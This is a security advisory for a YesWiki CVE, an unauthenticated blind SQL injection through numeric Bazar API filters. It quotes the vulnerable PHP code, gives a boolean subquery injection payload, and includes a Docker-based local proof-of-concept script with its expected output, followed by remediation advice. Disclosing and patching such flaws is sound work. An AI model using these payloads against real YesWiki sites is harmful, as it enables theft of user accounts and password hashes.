YesWiki CVE-2026-52770
HIGHSeverity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Public unauthenticated API with low-complexity injection gives AV:N/AC:L/PR:N/UI:N; a read-only boolean oracle yields C:H with no data modification or outage, so I:N/A:N.
Primary rating from Vendor (https://github.com/YesWiki/yeswiki).
CVSS VectorVendor: https://github.com/YesWiki/yeswiki
Lifecycle Timeline
2DescriptionCVE.org
Summary
YesWiki’s public Bazar entry-listing APIs are vulnerable to unauthenticated SQL injection in numeric query / queries filters.
For Bazar fields whose value structure is numeric, YesWiki escapes the attacker-controlled filter value but inserts it into SQL without quotes or numeric validation. An unauthenticated attacker can inject boolean SQL expressions and infer database contents from whether entries are returned.
Details
The public Bazar API reads attacker-controlled query filters from GET parameters:
// tools/bazar/controllers/ApiController.php
$vQuery = $_GET['query'] ?? $_GET['queries'] ?? null;
$vQuery = $vSearchManager->aggregateQueries(
!empty($selectedEntries) ? ['queries' => ['id_fiche' => $selectedEntries]] : [],
isset($vQuery) ? urldecode($vQuery) : ''
);Relevant public routes include:
@Route("/api/forms/{formId}/entries/{output}/{selectedEntries}", methods={"GET"}, options={"acl":{"public"}})
@Route("/api/entries/{output}/{selectedEntries}", methods={"GET"}, options={"acl":{"public"}})
@Route("/api/entries/bazarlist", methods={"GET"}, options={"acl":{"public"}})The query is passed into BazarListService::getEntries() and then into SearchManager::search():
// tools/bazar/services/BazarListService.php
$vLocalEntries = $vSearchManager->search(
array_merge(
$pOptions,
[
'formsIds' => $vLocalIDs,
]
),
true,
true
);The vulnerable sink is in SearchManager::buildQueriesConditions():
// tools/bazar/services/SearchManager.php
if ($vDescriptor['_type_'] == 'number') {
if (isset($vValue) && trim($vValue) !== '') {
$vValueConditions[] = 'CAST(' . mysqli_real_escape_string($this->wiki->dblink, $this->renameJSONPathVariable($vFieldName)) . ' AS DOUBLE) ' . $vComparisonOperator . ' ' . mysqli_real_escape_string($this->wiki->dblink, $vValue);
}
}Because numeric values are not quoted, SQL syntax remains active after escaping. For example, the following value is accepted as part of the numeric expression:
100 OR (SELECT COUNT(*) FROM yeswiki_users)>0This produces a predicate equivalent to:
CAST(bf_age AS DOUBLE) > 100 OR (SELECT COUNT(*) FROM yeswiki_users)>0Read ACL filtering and Bazar Guard processing do not prevent exploitation because the injected SQL expression is evaluated by the database before returned rows are post-processed.
Numeric Bazar filters are a documented/common feature. The documentation includes examples such as:
query="bf_age>18"
query="bf_age >= 20 | bf_age < 40"Bazar numeric fields are also common through field types such as number, range, and map latitude/longitude fields.
PoC
The following local-only PoC uses the shipped SearchManager code with a minimal MariaDB fixture. It demonstrates that a true injected boolean subquery changes the returned entries, while a false subquery does not.
Run from the repository root:
set -euo pipefail; name="yeswiki-audit-db-$$"; docker run -d --rm --name "$name" -e MARIADB_ROOT_PASSWORD=auditpass -e MARIADB_ROOT_HOST='%' -e MARIADB_DATABASE=yeswiki mariadb:11.4 >/dev/null; trap 'docker rm -f "$name" >/dev/null 2>&1 || true' EXIT; until docker exec "$name" mariadb-admin ping -h127.0.0.1 -uroot -pauditpass --silent >/dev/null 2>&1; do sleep 1; done; docker run --rm -i --network "container:$name" -v "$PWD:/repo:ro" --entrypoint php phpmyadmin:5.2.1 -d error_reporting=E_ERROR -d display_errors=1 <<'PHP'
<?php
namespace YesWiki\Bazar\Service {
class EntryManager { public const TRIPLES_ENTRY_ID = 'yeswiki-entry'; }
class FormManager { public function getMany($ids) { return [1 => ['prepared' => [new \DummyNumberField()]]]; } }
}
namespace {
class DummyNumberField {
public function getPropertyName() { return 'bf_age'; }
public function getValueStructure() { return ['bf_age' => ['_mode_' => 'single', '_type_' => 'number']]; }
}
class DummyServices {
public function get($class) {
if ($class === 'YesWiki\\Bazar\\Service\\FormManager') { return new \YesWiki\Bazar\Service\FormManager(); }
if ($class === 'YesWiki\\Bazar\\Service\\EntryManager') { return new \YesWiki\Bazar\Service\EntryManager(); }
throw new \RuntimeException('Unexpected service: ' . $class);
}
}
class DummyWiki {
public $dblink;
public $services;
public function __construct($dblink) { $this->dblink = $dblink; $this->services = new DummyServices(); }
public function GetConfigValue($name, $default = null) { return $name === 'min_search_keyword_length' ? 3 : $default; }
public function UserIsAdmin() { return false; }
public function getUserName() { return 'Anonymous'; }
}
class DummyDbService {
public function getCollation(): string { return 'utf8mb4_unicode_ci'; }
public function prefixTable($tableName) { return ' yeswiki_' . $tableName . ' '; }
}
class DummyAclService { public function updateRequestWithACL() { return '1=1'; } }
require '/repo/tools/bazar/services/SearchManager.php';
$db = mysqli_connect('127.0.0.1', 'root', 'auditpass', 'yeswiki');
if (!$db) { throw new \RuntimeException(mysqli_connect_error()); }
mysqli_set_charset($db, 'utf8mb4');
foreach ([
"CREATE TABLE yeswiki_pages (id INT PRIMARY KEY AUTO_INCREMENT, tag VARCHAR(64), time DATETIME DEFAULT CURRENT_TIMESTAMP, user VARCHAR(64), owner VARCHAR(64), latest CHAR(1), comment_on VARCHAR(64), body JSON)",
"CREATE TABLE yeswiki_triples (resource VARCHAR(64), value VARCHAR(64), property VARCHAR(128))",
"CREATE TABLE yeswiki_users (name VARCHAR(64), password VARCHAR(256), email VARCHAR(191))",
"INSERT INTO yeswiki_users VALUES ('admin', 'dummy_hash_marker', 'secret@example.test')",
"INSERT INTO yeswiki_pages (tag,user,owner,latest,comment_on,body) VALUES ('EntryA','alice','alice','Y','',JSON_OBJECT('id_typeannonce','1','id_fiche','EntryA','bf_age','10')), ('EntryB','bob','bob','Y','',JSON_OBJECT('id_typeannonce','1','id_fiche','EntryB','bf_age','20'))",
"INSERT INTO yeswiki_triples VALUES ('EntryA','yeswiki-entry','http://outils-reseaux.org/_vocabulary/type'), ('EntryB','yeswiki-entry','http://outils-reseaux.org/_vocabulary/type')",
] as $sql) {
if (!mysqli_query($db, $sql)) { throw new \RuntimeException(mysqli_error($db) . " in " . $sql); }
}
$ref = new \ReflectionClass(\YesWiki\Bazar\Service\SearchManager::class);
$sm = $ref->newInstanceWithoutConstructor();
foreach (['wiki' => new DummyWiki($db), 'dbService' => new DummyDbService(), 'aclService' => new DummyAclService()] as $prop => $value) {
$rp = $ref->getProperty($prop);
$rp->setAccessible(true);
$rp->setValue($sm, $value);
}
$cases = [
'control_no_match' => 'bf_age>100',
'boolean_true_subquery' => 'bf_age>100 OR (SELECT COUNT(*) FROM yeswiki_users)>0',
'boolean_false_subquery' => 'bf_age>100 OR (SELECT COUNT(*) FROM yeswiki_users WHERE 0)>0',
];
foreach ($cases as $label => $query) {
$params = ['queries' => $query, 'formsIds' => [1]];
$sql = $sm->prepareSearchRequest($params, true, false);
$result = mysqli_query($db, $sql);
if (!$result) { throw new \RuntimeException(mysqli_error($db) . " in " . $sql); }
$tags = [];
while ($row = mysqli_fetch_assoc($result)) { $tags[] = $row['tag']; }
sort($tags);
printf("%s: %d rows [%s]\n", $label, count($tags), implode(',', $tags));
if ($label === 'boolean_true_subquery') {
echo "where_fragment=" . preg_replace('/^.* WHERE /s', '', $sql) . "\n";
}
}
}
PHPExpected vulnerable output:
control_no_match: 0 rows []
boolean_true_subquery: 2 rows [EntryA,EntryB]
where_fragment=((CAST(bf_age AS DOUBLE) > 100 OR (SELECT COUNT(*) FROM yeswiki_users)>0)) AND 1=1
boolean_false_subquery: 0 rows []The no-match control returns no rows. The false injected subquery also returns no rows. The true injected subquery returns rows, proving that attacker-controlled SQL is evaluated inside the numeric filter.
Impact
This is an unauthenticated SQL injection vulnerability.
An attacker can use public Bazar API endpoints as a boolean oracle to infer data accessible to the YesWiki database user. This may include user account data, password hashes, password recovery material, private wiki metadata, or other sensitive database contents.
AnalysisAI
Boolean-based blind SQL injection in YesWiki's public Bazar entry-listing API allows unauthenticated attackers to read arbitrary database contents by abusing numeric query/queries filters. Because numeric field values are escaped with mysqli_real_escape_string but inserted into the SQL statement without quotes or numeric validation, injected boolean expressions (e.g. '100 OR (SELECT COUNT(*) FROM yeswiki_users)>0') are evaluated by the database, turning the public endpoints into a data-exfiltration oracle. A detailed, self-contained proof-of-concept is published in the advisory; a vendor patch (commit f3b0dd0) is available, though the issue is not listed in CISA KEV.
Technical ContextAI
YesWiki is a PHP wiki/CMS whose Bazar module provides structured, form-based content ('fiches') queryable through public REST-style endpoints. The flaw is a classic CWE-89 SQL Injection rooted in improper neutralization of a numeric field: in SearchManager::buildQueriesConditions(), fields with _type_ 'number' build the fragment CAST(field AS DOUBLE) <op> <value>, where <value> is passed only through mysqli_real_escape_string(). That routine neutralizes string-context metacharacters (quotes, backslashes) but does nothing for a value used in an unquoted numeric context, so SQL keywords like OR and parenthesized subqueries pass through intact. The attacker-controlled input originates from the GET 'query'/'queries' parameters read in ApiController.php and flows through BazarListService::getEntries() into SearchManager::search(). Read-ACL filtering and Bazar Guard post-processing run only after the database has already evaluated the injected predicate, so they provide no protection. Affected package per CPE is pkg:composer/yeswiki_yeswiki. Numeric filters (fields of type number, range, and map latitude/longitude) are documented, common features, widening the injectable surface.
RemediationAI
Apply the vendor fix: upgrade YesWiki to a release that includes commit f3b0dd093a7ace47dc29a515faeb02635baceae2 (Upstream fix available via commit; a specific tagged patched release version is not stated in the provided data, so confirm the exact fixed release against advisory GHSA-qg78-vmvc-fhjw before deploying). Until the patch is applied, compensating controls include restricting or authenticating access to the public Bazar API routes (/api/forms/{formId}/entries/..., /api/entries/... and /api/entries/bazarlist) at the web server or reverse-proxy layer - noting this will break any legitimate anonymous consumers of those endpoints; and deploying a WAF rule to block query/queries parameter values containing SQL keywords or subquery patterns such as SELECT, UNION, or parenthesized boolean expressions, accepting that pattern-based rules can be bypassed and may block valid numeric range filters. As a defense-in-depth measure, ensure the database account used by YesWiki has least-privilege, read-scoped access so injected subqueries cannot reach unrelated tables. Reference: https://github.com/YesWiki/yeswiki/security/advisories/GHSA-qg78-vmvc-fhjw and the patch commit at https://github.com/YesWiki/yeswiki/commit/f3b0dd093a7ace47dc29a515faeb02635baceae2.
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External POC / Exploit Code
Leaving vuln.today
GHSA-qg78-vmvc-fhjw